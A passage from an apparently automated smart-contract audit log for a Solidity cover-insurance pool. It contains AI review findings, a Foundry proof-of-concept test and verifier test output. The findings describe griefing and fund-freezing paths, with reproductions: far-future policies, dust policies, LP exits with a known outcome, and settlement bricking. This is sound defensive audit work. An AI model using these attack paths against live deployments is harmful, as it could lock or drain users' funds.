test/scratch/Demo.t.sol::test_batchChangeBricksSettle.","severity":"medium","snippet":"        if (\n            config.genesisTimestamp == 0 || config.roundDuration != ROUND_DURATION\n                || config.maxRoundsPerBatch != PAGE_SIZE\n        ) revert InvalidConfiguration();","title":"CoreReader pins maxRoundsPerBatch == 16, roundDuration == 600 and version == 3 in snapshot(); any change on the live core makes settle() revert forever and locks every open reservation"},{"citation":"resolved","description":"currentRound is computed locally as floor((block.timestamp - genesisTimestamp)/600) + 1 and snapshot() reverts if settledThroughRound >= currentRound. The relation between the core's own round clock and this formula cannot be verified from the read-only ABI subset (CoreState carries blockHeight/blockUnits fields that suggest a block-unit clock). If the core ever certifies a round whose wall-clock interval has not yet elapsed under the reader's formula, even by one second of timestamp skew at a round boundary, every settle() and quote() reverts until the local clock catches up. For a fully certified policy this delays payout by up to one round; if the core's numbering is permanently one ahead of the reader's it bricks the reader (same funds-locked effect as the previous finding). The recorded Sepolia snapshot (frontier 1973, local current 3009) does not exercise this edge. Minimal fix: allow frontier == current (reject only frontier > current), or drop the consistency check from the settle path, since countZeroRounds already requires end <= frontier and validates every page.","line":48,"path":"src/CoreReader.sol","reproduction":"Fixture as above. alice opens policy (startRound 102, N=6, T=3000, cover 100e18), window 102..107. Warp to block.timestamp = genesis + 107*600 + 10 (local currentRound = 108) and let the core report settledThroughRound = 108 (it has certified round 108). Expected: settle(id) succeeds, since end 107 <= frontier 108 and every page can be read. Actual: settle(id) reverts CoreReader.InconsistentCore. Demonstrated in test/scratch/Demo.t.sol::test_frontierEqualsCurrent.","severity":"low","snippet":"        if ((current == 0 && frontier != 0) || (current != 0 && frontier >= current)) {","title":"snapshot() treats frontier == currentRound as InconsistentCore, so a fully certified window cannot be settled (and no quote can be served) whenever the core has certified the wall-clock current round"}],"hash":"ed98d84754fb44d4a618170d5f4e27bd0ab976650127ddde02ca293d9eef71ee","nodeId":"1db790dd-e713-4c4e-b0e7-a64e7d57c7cb","outcome":"completed","summary":"All four snippets match the tree, the file parses, and git shows no tracked files changed (the findings file and test/scratch are ignored). The review is complete.\n\n**Outcome.** The findings file at `.imd-findings.json` holds four substantiated findings and 25 coverage rows, one per listed entry point plus four invariants I checked. The core arithmetic in my area holds: the share math with virtual offsets floors in the pool's favour and cannot be inflated by donations, the premium formula cannot divide by zero or exceed the cover amount, and the trigger comparison is exact for all twelve term combinations. The defects are at the boundaries around that arithmetic.\n\n**Findings, by severity:**\n\n- **High. Unbounded start round locks LP capital for a flat premium.** The only bounds on the start round are lower bounds. The premium does not depend on how far away the window is. A buyer opening a 144-round policy starting at round 2^64-144 with cover equal to all free assets pays 150 of 1000 tokens in the fixture rates and reserves the other 1000 forever, since the frontier can never reach that window and there is no timeout. The proof test in `test/scratch/FarFutureLock.t.sol` fails on the current code. THREATS.md acknowledges distant starts, but the flat-cost, unbounded-lock asymmetry makes it a cheap griefing path. A lead cap on the start round fixes it without touching payout semantics.\n- **Medium. Known-outcome LP exit.** Share value includes reserved cover. Once the certified prefix of a window already holds enough zero rounds to guarantee a payout, an LP can redeem all free assets at full price. In the reproduction, two LPs each deposit 500, a buyer takes 800 of cover, and after the exit the staying LP ends with zero instead of a pro rata 152.\n- **Medium. Over-strict core pins brick settlement.** The reader rejects any batch limit other than exactly 16, any round duration other than 600, and any code version other than 3. A benign increase of the batch limit to 32 makes every settlement revert and locks all reservations permanently.\n- **Low. Frontier equal to current round rejected.** When the core has certified the wall-clock current round, the reader reverts with an inconsistency error, delaying or, if the numbering is permanently offset, blocking settlement of fully certified windows.\n\n**Coverage gaps.** I could not verify the reader's current-round formula against the live core's own numbering from the read-only ABI subset. That row is marked unreached. Slither's reentrancy leads were traced and are not findings: both guards and the fixed non-callback token hold. The existing suite does not test a start round far beyond the current round, nor an LP redemption between a determined outcome and settlement.","treeHash":null,"usage":{"cachedInputTokens":868485,"inputTokens":354,"model":"claude-fable-5-1","outputTokens":38753,"runtime":"claude","turns":29,"wallClockMs":584275}},{"artifacts":[],"attempt":1,"bundleHash":"bc24bb06a534649de301b990812211bef85a01421479a4e85e17f025c604e1c4","device":"262346efaedbfe8b","findings":[{"description":"settlementPending() only probes reader.snapshot() (configuration/state). If roundPage() reverts or returns a page the reader rejects (CoreUnavailable / MalformedPage) for a certified window, settle() can never succeed, yet settlementPending() stays true, so CoverPool.deposit and CoverPool.redeem (src/CoverPool.sol:130,155,237) revert SettlementPending for every LP for as long as the page endpoint is broken. Before the gate existed, free (unreserved) collateral stayed redeemable in this state. THREATS.md and README.md state the gate 'fails open when the core cannot be read, because nothing can settle', which does not hold for this failure mode: the upstream proxy is upgradeable by a third party, so a roundPage change or outage is the realistic case. Fix direction that keeps the agreed design: decide pending-ness by whether the earliest certified policy can actually be settled (e.g. try reader.countZeroRounds for an id from openPolicyIdsEndingAt(earliest) and fail open on revert), or exempt redemption of free assets when settlement is impossible.","line":126,"path":"src/PolicyBook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {MockSQK} from \"src/MockSQK.sol\";\nimport {PremiumModel} from \"src/PremiumModel.sol\";\nimport {CoverPool} from \"src/CoverPool.sol\";\nimport {CoreReader} from \"src/CoreReader.sol\";\nimport {PolicyBook} from \"src/PolicyBook.sol\";\nimport {ISqueekCore} from \"src/interfaces/ISqueekCore.sol\";\n\n/// Minimal V3 core: no active rounds, configurable frontier, and a roundPage that can be switched off\n/// while configuration() and state() keep answering.\ncontract PageOutageCore {\n    uint64 public immutable genesis;\n    uint64 public frontier;\n    bool public pagesDown;\n\n    constructor(uint64 genesis_) {\n        genesis = genesis_;\n    }\n\n    function setFrontier(uint64 value) external {\n        frontier = value;\n    }\n\n    function setPagesDown(bool value) external {\n        pagesDown = value;\n    }\n\n    function implementationCodeVersion() external pure returns (uint64) {\n        return 3;\n    }\n\n    function configuration() external view returns (ISqueekCore.CoreConfiguration memory result) {\n        result.genesisTimestamp = genesis;\n        result.roundDuration = 600;\n        result.maxWorkPerRound = 10_000;\n        result.maxRoundsPerBatch = 16;\n        result.initialWorkPerThousandBlocks = 10_875;\n        result.targetBlocksPerActiveRound = 40;\n        result.difficultySmoothingRounds = 30;\n    }\n\n    function state() external view returns (ISqueekCore.CoreState memory result) {\n        result.settledThroughRound = frontier;\n    }\n\n    function roundPage(uint64, uint64 throughRound, uint256)\n        external\n        view\n        returns (ISqueekCore.RoundPage memory result)\n    {\n        require(!pagesDown, \"pages unavailable\");\n        result.start.workPerThousandBlocks = 10_875;\n        result.end.workPerThousandBlocks = 10_875;\n        result.certifiedThroughRound = throughRound;\n    }\n}\n\ncontract SettlementGateFreezesFreeLiquidityTest is Test {\n    uint64 internal constant GENESIS = 1_700_000_000;\n\n    function test_unreadableHistoryMustNotFreezeFreeLiquidity() public {\n        address owner = makeAddr(\"owner\");\n        address lp = makeAddr(\"lp\");\n        address buyer = makeAddr(\"buyer\");\n        vm.warp(uint256(GENESIS) + 100 * 600); // current round 101\n        PageOutageCore core = new PageOutageCore(GENESIS);\n        core.setFrontier(100);\n        MockSQK token = new MockSQK(owner);\n        PremiumModel model = new PremiumModel(owner);\n        CoverPool pool = new CoverPool(owner, address(token));\n        CoreReader reader = new CoreReader(address(core));\n        PolicyBook book = new PolicyBook(owner, address(token), address(model), address(pool), address(reader));\n        vm.startPrank(owner);\n        pool.setPolicyBook(address(book));\n        model.setRate(6, 5000, 500, 0);\n        token.mint(lp, 1000 ether);\n        token.mint(buyer, 10 ether);\n        vm.stopPrank();\n        vm.startPrank(lp);\n        token.approve(address(pool), 1000 ether);\n        uint256 shares = pool.deposit(1000 ether, 1);\n        vm.stopPrank();\n        vm.startPrank(buyer);\n        token.approve(address(book), 10 ether);\n        book.openPolicy(102, 6, 5000, 100 ether, 10 ether, block.timestamp);\n        vm.stopPrank();\n\n        // Window 102..107 becomes certified, then the core's history endpoint stops answering.\n        core.setFrontier(107);\n        vm.warp(uint256(GENESIS) + 107 * 600);\n        core.setPagesDown(true);\n        vm.expectRevert(CoreReader.CoreUnavailable.selector);\n        book.settle(1);\n\n        // 900 ether of free, unreserved collateral. The documented design says the gate fails open when\n        // the core cannot be read, because nothing can settle. Expected: the LP can redeem a free slice.\n        // Actual: settlementPending() is true (snapshot still works) and redeem reverts SettlementPending\n        // for as long as the page endpoint stays down.\n        assertGt(pool.freeAssets(), 900 ether);\n        assertFalse(book.settlementPending(), \"gate is closed although no settlement can run\");\n        vm.prank(lp);\n        pool.redeem(shares / 10, 1);\n    }\n}","reproduction":"Pool 1000 ether, rate (6,50%)=500/0 bps. Buyer opens policy 102..107 with cover 100 ether at round 101. Core frontier set to 107; Core.roundPage starts reverting while configuration()/state() still answer. settle(1) reverts CoreUnavailable. Expected: settlementPending()==false (documented fail-open) and lp.redeem(shares/10,1) succeeds from 900+ ether of free assets. Actual: settlementPending()==true and redeem reverts SettlementPending indefinitely.","severity":"medium","title":"Settlement gate freezes all LP deposits and free-liquidity redemptions when Core history pages fail but snapshot reads succeed"},{"description":"openPolicy accepts cover = 1 atom with premium = 1 atom (Ceil rounding). Every open policy whose window is certified closes the LP gate until it is individually settled, and settle re-reads up to nine Core pages per policy. An actor can open many dust policies on the same window at roughly the gas of opening them plus N atoms of premium; once the window is certified, every LP who wants to deposit or redeem must first settle all N (openPolicyIdsEndingAt also grows without pruning). Value is not at risk, but LP liveness costs are shifted onto LPs. Covered by test/SettlementGateAdversarial.t.sol:test_dustPoliciesMustEachBeSettledBeforeLpsCanMove (20 one-atom policies; the gate stays closed until the 20th settle). A minimum cover or premium, or batch settlement, would bound it.","line":176,"path":"src/CoverPool.sol","reproduction":"bob opens 20 policies (START,6,5000,cover=1,premium=1). Certify START+5. lp.redeem reverts SettlementPending after each of settle(1..19); it succeeds only after settle(20). Expected: dust cannot impose per-policy settlement work on LPs; actual: it can, at 1 atom of premium each.","severity":"low","title":"No minimum cover: one-atom policies let anyone force LPs to pay for many settlements before moving capital"}],"hash":"f717396feb8ac379542de8f1a1bf1758f1333a8ae982a205713575e7d4ad5256","nodeId":"b71083fc-956f-45f5-80d9-9d0cfe1c8671","outcome":"completed","summary":"The implementation changed after my last round, and my tests now pass against the new version. The full suite (17 suites, 111 tests) passes with the verifier's fuzz seed, not counting the scratch proof, which fails on purpose. I found one new medium defect and one low issue; both are written up in `.imd-findings.json`.\n\n**Why three of my tests had started failing**, and what I changed:\n- **The invariant test:** its deposit/redeem step ran while a policy's window was fully confirmed but not yet settled. The pool now refuses deposits and redemptions in that state (`SettlementPending`). The step now checks that both are refused in that state, and runs normally otherwise.\n- **The invalid-configuration test** treated a Core batch size other than 16 as invalid. Any positive batch size is now allowed, so I replaced that case with a round duration of 599 seconds. A new fuzz test checks that any batch size gives the same zero-round count.\n- **The 36-window threshold test** spans 1,674 rounds, which goes past the new cap on how far ahead a window may start (`MAX_LEAD_ROUNDS`). It now moves the clock forward so each window starts inside the cap.\n\n**New tests:**\n- **Random-sequence checks:** after every call, the open-policy count, the earliest open end round and whether settlement is pending must match a plain scan of all policies.\n- **`test/SettlementGateAdversarial.t.sol`** covers:\n  - tiny \"dust\" policies;\n  - a later, unconfirmed window not blocking LPs;\n  - pauses not hiding a pending settlement;\n  - share and amount checks running before the pending check;\n  - settling in a random order.\n\n**Findings:**\n1. **Medium: LP funds can be frozen with no end date** (`src/PolicyBook.sol:126`). `settlementPending()` only checks Core's configuration and state. If Core's round-history call (`roundPage`) reverts or returns data the reader rejects, `settle` can never succeed, but deposits and redemptions stay blocked. That includes the more than 900 ether of unreserved collateral in the reproduction. README and THREATS say the check is skipped when Core can't be read, so this contradicts the docs. The finding includes a self-contained Foundry test that I ran and confirmed fails on the current code.\n2. **Low: no minimum cover.** Anyone can buy a policy for 1 unit of cover at a 1-unit premium. Once its window is confirmed, every such policy has to be settled one by one before any LP can deposit or redeem. No funds are at risk, but whoever buys them pushes that gas cost onto LPs. A passing test shows the behaviour.\n\nThe two share-supply defects I reported last round have been fixed in the implementation; `test/README.md` now says so and describes this round's changes.","treeHash":"15baa2195004ad351901600846948994aacb2e30","usage":{"cachedInputTokens":1533768,"inputTokens":48,"model":"claude-opus-5-5","outputTokens":19334,"runtime":"claude","turns":27,"wallClockMs":488203}}],"verification":[{"checks":[{"durationMs":5397,"exitCode":0,"name":"build","output":"Compiling 60 files with Solc 0.8.26\nSolc 0.8.26 finished in 5.28s\nCompiler run successful!\n","passed":true},{"durationMs":2043,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RecordedCore.t.sol:RecordedCoreTest\n[PASS] test_readPublishedV3AbiFromRecordedSepoliaResponses() (gas: 69334)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 813.12µs (596.39µs CPU time)\n\nRan 6 tests for test/SettlementGate.t.sol:SettlementGateTest\n[PASS] test_certifiedLossIsSharedByEveryLpPresentAtTheSale() (gas: 1317072)\n[PASS] test_earliestOpenEndTracksSettlementInAnyOrder() (gas: 2639486)\n[PASS] test_gateFailsOpenWhenTheCoreCannotBeRead() (gas: 967676)\n[PASS] test_gateOpensOnlyWhenTheWholeWindowIsCertified() (gas: 1038309)\n[PASS] test_settlementSurvivesRaisedOrLoweredCoreBatchLimit() (gas: 4539095)\n[PASS] test_startRoundLeadIsCapped() (gas: 305392)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 12.07ms (10.22ms CPU time)\n\nRan 4 tests for test/Deployment.t.sol:DeploymentTest\n[PASS] test_constructorsDoNotDependOnChainIdOrCaller() (gas: 1747975)\n[PASS] test_constructorsSucceedWhenAllExternalDependenciesHaveNoCode() (gas: 10504)\n[PASS] test_factoryDeploymentWiresBackwardReferencesAndExplicitOwners() (gas: 13410219)\n[PASS] test_zeroOwnersAndDependencyAddressesRevert() (gas: 4102)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 85.24ms (41.66ms CPU time)\n\nRan 13 tests for test/CoreReader.t.sol:CoreReaderTest\n[PASS] testFuzz_sparseWorkMagnitudeDoesNotAffectZeroCount(uint256,uint8) (runs: 512, μ: 1137855, ~: 527290)\n[PASS] test_allMissingCertifiedRoundsAreZero() (gas: 102516)\n[PASS] test_coreReadFailureNeverBecomesAZeroWorkPage() (gas: 59325)\n[PASS] test_dense144RoundsRequiresAllNinePages() (gas: 14410984)\n[PASS] test_excludesActiveRecordsOutsideInclusivePolicyWindow() (gas: 432268)\n[PASS] test_followsReturnedCertificationAcrossGapBeforeNextActiveRound() (gas: 1745327)\n[PASS] test_rejectsDiscontinuousPageStart() (gas: 2349040)\n[PASS] test_rejectsDuplicateUnorderedOutOfRangeAndZeroWorkRecords() (gas: 397544)\n[PASS] test_rejectsInvalidConfigurationAndFutureFrontier() (gas: 164270)\n[PASS] test_rejectsNonAdvancingOrOverreachingPage() (gas: 111218)\n[PASS] test_rejectsUnderfilledTruncationAndInconsistentEndpoint() (gas: 111748)\n[PASS] test_rejectsUnreadableAndUnsupportedCore() (gas: 129333)\n[PASS] test_snapshotUsesGenesisAndExact600SecondBoundary() (gas: 152994)\nSuite result: ok. 13 passed; 0 failed; 0 skipped; finished in 98.43ms (115.66ms CPU time)\n\nRan 12 tests for test/CoverPool.t.sol:CoverPoolTest\n[PASS] testFuzz_roundTripCannotCreateAssets(uint96,uint96) (runs: 512, μ: 350746, ~: 349511)\nLogs:\n  Bound result 16050922539961441\n  Bound result 1869319773429\n\n[PASS] test_bookBindingIsOneTimeAndRequiredBeforeDeposit() (gas: 152216)\n[PASS] test_cannotReuseReservationOrResolveTwiceEvenAsBook() (gas: 815028)\n[PASS] test_custodyShortfallBlocksRatherThanCreatesUnbackedShares() (gas: 189363)\n[PASS] test_depositAndRedeemSlippageAndZeroAmounts() (gas: 257797)\n[PASS] test_directDonationsCannotInflateSharePrice() (gas: 366085)\n[PASS] test_equalDepositsReceiveEqualSharesAndRedeemCapital() (gas: 321135)\n[PASS] test_lockedCapitalCannotBeWithdrawnButFreeCapitalCan() (gas: 817774)\n[PASS] test_onlyBookCanLockOrReleaseCover() (gas: 643629)\n[PASS] test_onlyCallerSharesCanBeRedeemed() (gas: 41851)\n[PASS] test_premiumsAccrueToLPAndLossReducesShareValue() (gas: 928275)\n[PASS] test_recapitalizationAfterTotalLossDoesNotDivideByZero() (gas: 1164698)\nSuite result: ok. 12 passed; 0 failed; 0 skipped; finished in 98.43ms (105.48ms CPU time)\n\nRan 8 tests for test/PremiumAndOwnership.t.sol:PremiumAndOwnershipTest\n[PASS] testFuzz_premiumsBoundedAndMonotonic(uint96,uint96,uint16,uint16) (runs: 512, μ: 77531, ~: 77587)\nLogs:\n  Bound result 5576813114\n  Bound result 4487157654\n  Bound result 49\n  Bound result 1\n\n[PASS] test_allAdminFunctionsRejectStrangersIncludingFactory() (gas: 169026)\n[PASS] test_configuredTableHasIndependentTwelveEntries() (gas: 593016)\n[PASS] test_fullUtilizationAndAtomRounding() (gas: 26665)\n[PASS] test_invalidRatesTermsAndLiquidity() (gas: 154575)\n[PASS] test_pricesMustBeExplicitlyConfigured() (gas: 83279)\n[PASS] test_tokenMetadataInitialSupplyAndOwnerMint() (gas: 156741)\n[PASS] test_twoStepOwnerHandoverAndNoRenunciation() (gas: 223470)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 176.22ms (176.18ms CPU time)\n\nRan 7 tests for test/AdversarialTransfers.t.sol:AdversarialTransfersTest\n[PASS] test_depositAndRedeemReentrancyBlocked() (gas: 606635)\n[PASS] test_failedPayoutRollsBackAndCanBeRetried() (gas: 1183587)\n[PASS] test_falseReturnAndFeeDepositsRollBack() (gas: 449643)\n[PASS] test_feeOnEitherPremiumLegRollsBackWholePurchase() (gas: 1256893)\n[PASS] test_noReturnTokenSupportedBySafeERC20() (gas: 980115)\n[PASS] test_openReentrancyBlockedDuringPremiumReceipt() (gas: 1098686)\n[PASS] test_settlementReentrancyBlockedDuringPayout() (gas: 1120114)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 227.92ms (6.03ms CPU time)\n\nRan 4 tests for test/ShareSupply.t.sol:ShareSupplyTest\n[PASS] testFuzz_totalSharesNeverExceedCapAndPreviewsNeverPanic(uint96,uint8) (runs: 512, μ: 3469935, ~: 2086904)\nLogs:\n  Bound result 2\n  Bound result 2094111613048600848925\n\n[PASS] test_recapitalizationSucceedsAfterThreeCompleteLossesByRetiringWorthlessShares() (gas: 8406762)\n[PASS] test_sharesWithValueAreNeverRetiredAndOverflowingDepositsRevertCleanly() (gas: 8486268)\n[PASS] test_supplyCapRejectsTheDepositThatWouldBreakPreviewsAndVictimStaysLiquid() (gas: 8615218)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 242.86ms (264.82ms CPU time)\n\nRan 2 tests for test/SettlementGate.t.sol:OpenEndRoundsTest\n[PASS] testFuzz_earliestMatchesNaiveMinimum(uint64[8],uint8) (runs: 512, μ: 876368, ~: 865899)\nLogs:\n  Bound result 1\n  Bound result 2752\n  Bound result 248\n  Bound result 151615\n  Bound result 1476\n  Bound result 112019\n  Bound result 163655\n  Bound result 12857\n\n[PASS] test_spansWordsAndSummaryWordsAndEmptiesCleanly() (gas: 1019544)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 242.79ms (242.95ms CPU time)\n\nRan 17 tests for test/PolicyBook.t.sol:PolicyBookTest\n[PASS] testFuzz_allTermsExactThreshold(uint8,uint8,uint8,uint96) (runs: 512, μ: 3607948, ~: 1614219)\nLogs:\n  Bound result 0\n  Bound result 14159918\n\n[PASS] test_anyoneSettlesAndOnlyHolderReceivesPayout() (gas: 1137840)\n[PASS] test_corePauseBlocksOpenWithoutAppPause() (gas: 68696)\n[PASS] test_expiredDeadlineAndBoundary() (gas: 595807)\n[PASS] test_frontRunPriceIncreaseRespectsMaxPremium() (gas: 741356)\n[PASS] test_noCoverCanDependOnItsOwnIncomingPremium() (gas: 673432)\n[PASS] test_nonTriggerRetainsPremiumAndReleasesReserve() (gas: 1139504)\n[PASS] test_openCollectsPremiumAndReservesEntireCover() (gas: 732563)\n[PASS] test_overlappingPoliciesSettleIndependentlyInReverseOrder() (gas: 1472302)\n[PASS] test_pauseBlocksOpenButAllowsCertifiedSettlement() (gas: 902153)\n[PASS] test_rateUpdatesDoNotChangePurchasedPolicy() (gas: 768738)\n[PASS] test_rejectsInvalidTermsAndOverflow() (gas: 99210)\n[PASS] test_settlementCannotReplayOrSettleMissingId() (gas: 803624)\n[PASS] test_settlesAtFrontierEqualEnd() (gas: 710379)\n[PASS] test_startMustExceedClockEvenWhenCoreIsBehind() (gas: 264146)\n[PASS] test_unknownRoundsNeverSettleEvenYearsLater() (gas: 825652)\n[PASS] test_unpaidPremiumRollsBackPolicyAndReservation() (gas: 414284)\nSuite result: ok. 17 passed; 0 failed; 0 skipped; finished in 255.00ms (270.21ms CPU time)\n\nRan 2 tests for test/SolvencyInvariant.t.sol:SolvencyInvariantTest\n[PASS]\nSolvencyInvariantTest invariants:\n[PASS] invariant_allObligationsRemainFullyBacked\n[PASS] invariant_assetsAreConservedAndSharesReconcile\n SolvencyInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭--------------+----------+-------+---------+----------╮\n| Contract     | Selector | Calls | Reverts | Discards |\n+======================================================+\n| CoverHandler | advance  | 981   | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | deposit  | 964   | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | donate   | 1038  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | elapse   | 1014  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | open     | 1092  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | pause    | 1037  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | redeem   | 1012  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | settle   | 1054  | 0       | 0        |\n╰--------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 148573621\n  Bound result 127\n  Bound result 7524373663796182986383\n  Bound result 10000000000000000000000\n  Bound result 2514264337593599410047\n  Bound result 6753\n  Bound result 1\n  Bound result 26441138205160868906003\n  Bound result 6542890687455212422090\n  Bound result 340587137815095645591\n  Bound result 1\n  Bound result 351378644849883419100\n  Bound result 1462\n  Bound result 100\n  Bound result 3142974760\n  Bound result 2\n  Bound result 3647\n  Bound result 10879532205185145\n  Bound result 6274\n  Bound result 10000000000000000000000000\n  Bound result 6\n  Bound result 1607\n  Bound result 13621\n  Bound result 3\n  Bound result 3334\n  Bound result 1884\n  Bound result 3\n  Bound result 31238880306\n  Bound result 86\n  Bound result 1\n  Bound result 34825798953093474249\n  Bound result 1\n  Bound result 1\n  Bound result 325445092087158932646\n  Bound result 5500\n  Bound result 125\n  Bound result 3473\n  Bound result 24\n  Bound result 16\n  Bound result 3\n  Bound result 80\n  Bound result 3\n  Bound result 96\n  Bound result 226745170657427\n  Bound result 5206\n  Bound result 3\n  Bound result 4144\n  Bound result 2686\n  Bound result 4090\n\n[PASS] test_handlerExercisesSuccessfulPayoutAndRedemption() (gas: 1270902)\nLogs:\n  Bound result 100000000000000000000\n  Bound result 100000000000000000000\n  Bound result 7\n  Bound result 1\n  Bound result 10000000000000000000000000\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.90s (1.90s CPU time)\n\nRan 11 test suites in 1.90s (3.34s CPU time): 76 tests passed, 0 failed, 0 skipped (76 total tests)\n","passed":true},{"durationMs":67,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"CoverPool.acceptOwnership()\",\"CoverPool.deposit(uint256,uint256)\",\"CoverPool.lockCover(uint256,address,uint256,uint256)\",\"CoverPool.redeem(uint256,uint256)\",\"CoverPool.resolveCover(uint256,bool)\",\"CoverPool.setPolicyBook(address)\",\"CoverPool.transferOwnership(address)\",\"MockSQK.acceptOwnership()\",\"MockSQK.approve(address,uint256)\",\"MockSQK.mint(address,uint256)\",\"MockSQK.transfer(address,uint256)\",\"MockSQK.transferFrom(address,address,uint256)\",\"MockSQK.transferOwnership(address)\",\"PolicyBook.acceptOwnership()\",\"PolicyBook.openPolicy(uint64,uint16,uint16,uint256,uint256,uint256)\",\"PolicyBook.setPaused(bool)\",\"PolicyBook.settle(uint256)\",\"PolicyBook.transferOwnership(address)\",\"PremiumModel.acceptOwnership()\",\"PremiumModel.setRate(uint16,uint16,uint16,uint16)\",\"PremiumModel.transferOwnership(address)\"],\"files\":{\".gitignore\":4,\"DEPENDENCIES.md\":12,\"LAUNCH.md\":72,\"README.md\":105,\"THREATS.md\":74,\"dependency-checksums.json\":60,\"docs/abi/README.md\":9,\"docs/abi/SqueekCore.readonly.json\":252,\"docs/evidence/sepolia-core-snapshot.json\":36,\"foundry.toml\":21,\"launch.json\":32,\"manifest.json\":32,\"remappings.txt\":2,\"src/CoreReader.sol\":146,\"src/CoverPool.sol\":245,\"src/CoverTerms.sol\":34,\"src/Managed.sol\":17,\"src/MockSQK.sol\":20,\"src/OpenEndRounds.sol\":68,\"src/PolicyBook.sol\":208,\"src/PremiumModel.sol\":51,\"src/interfaces/ISqueekCore.sol\":59,\"test/AdversarialTransfers.t.sol\":165,\"test/CoreReader.t.sol\":180,\"test/CoverPool.t.sol\":186,\"test/Deployment.t.sol\":112,\"test/PolicyBook.t.sol\":240,\"test/PremiumAndOwnership.t.sol\":146,\"test/RecordedCore.t.sol\":48,\"test/SettlementGate.t.sol\":226,\"test/ShareSupply.t.sol\":173,\"test/SolvencyInvariant.t.sol\":208,\"test/helpers/AdversarialToken.sol\":64,\"test/helpers/CoverFixture.sol\":81,\"test/helpers/MockCore.sol\":128,\"test/helpers/OpenEndRoundsHarness.sol\":31},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"06ef88527a422add137d09b4f52ee9838c1bed6f34778ca85ef4c8443504b349","verifiedTreeHash":"42db4f97bbd075c14981067a5a407c3fc8f1517c","verifierVersion":"0.1.0+a6eb4461"},{"checks":[{"durationMs":5761,"exitCode":0,"name":"build","output":"Compiling 60 files with Solc 0.8.26\nSolc 0.8.26 finished in 5.63s\nCompiler run successful!\n","passed":true},{"durationMs":2453,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RecordedCore.t.sol:RecordedCoreTest\n[PASS] test_readPublishedV3AbiFromRecordedSepoliaResponses() (gas: 69551)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 593.76µs (420.36µs CPU time)\n\nRan 7 tests for test/AdversarialTransfers.t.sol:AdversarialTransfersTest\n[PASS] test_depositAndRedeemReentrancyBlocked() (gas: 606591)\n[PASS] test_failedPayoutRollsBackAndCanBeRetried() (gas: 1389490)\n[PASS] test_falseReturnAndFeeDepositsRollBack() (gas: 449643)\n[PASS] test_feeOnEitherPremiumLegRollsBackWholePurchase() (gas: 1570024)\n[PASS] test_noReturnTokenSupportedBySafeERC20() (gas: 1158564)\n[PASS] test_openReentrancyBlockedDuringPremiumReceipt() (gas: 1255271)\n[PASS] test_settlementReentrancyBlockedDuringPayout() (gas: 1298528)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 57.41ms (8.40ms CPU time)\n\nRan 4 tests for test/Deployment.t.sol:DeploymentTest\n[PASS] test_constructorsDoNotDependOnChainIdOrCaller() (gas: 1747777)\n[PASS] test_constructorsSucceedWhenAllExternalDependenciesHaveNoCode() (gas: 10504)\n[PASS] test_factoryDeploymentWiresBackwardReferencesAndExplicitOwners() (gas: 14929935)\n[PASS] test_zeroOwnersAndDependencyAddressesRevert() (gas: 4102)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 52.68ms (52.53ms CPU time)\n\nRan 13 tests for test/CoreReader.t.sol:CoreReaderTest\n[PASS] testFuzz_sparseWorkMagnitudeDoesNotAffectZeroCount(uint256,uint8) (runs: 512, μ: 1166718, ~: 527836)\n[PASS] test_allMissingCertifiedRoundsAreZero() (gas: 103366)\n[PASS] test_coreReadFailureNeverBecomesAZeroWorkPage() (gas: 59343)\n[PASS] test_dense144RoundsRequiresAllNinePages() (gas: 14415964)\n[PASS] test_excludesActiveRecordsOutsideInclusivePolicyWindow() (gas: 432792)\n[PASS] test_followsReturnedCertificationAcrossGapBeforeNextActiveRound() (gas: 1746481)\n[PASS] test_rejectsDiscontinuousPageStart() (gas: 2349926)\n[PASS] test_rejectsDuplicateUnorderedOutOfRangeAndZeroWorkRecords() (gas: 397766)\n[PASS] test_rejectsInvalidConfigurationAndFutureFrontier() (gas: 164340)\n[PASS] test_rejectsNonAdvancingOrOverreachingPage() (gas: 111404)\n[PASS] test_rejectsUnderfilledTruncationAndInconsistentEndpoint() (gas: 111930)\n[PASS] test_rejectsUnreadableAndUnsupportedCore() (gas: 129197)\n[PASS] test_snapshotUsesGenesisAndExact600SecondBoundary() (gas: 152881)\nSuite result: ok. 13 passed; 0 failed; 0 skipped; finished in 303.28ms (184.44ms CPU time)\n\nRan 19 tests for test/PolicyBook.t.sol:PolicyBookTest\n[PASS] testFuzz_allTermsExactThreshold(uint8,uint8,uint8,uint96) (runs: 512, μ: 3704841, ~: 1756429)\nLogs:\n  Bound result 9\n  Bound result 899\n\n[PASS] test_anyoneSettlesAndOnlyHolderReceivesPayout() (gas: 1316718)\n[PASS] test_corePauseBlocksOpenWithoutAppPause() (gas: 68647)\n[PASS] test_earlyExpiryReleasesReserveOnceTheThresholdIsUnreachable() (gas: 1131132)\n[PASS] 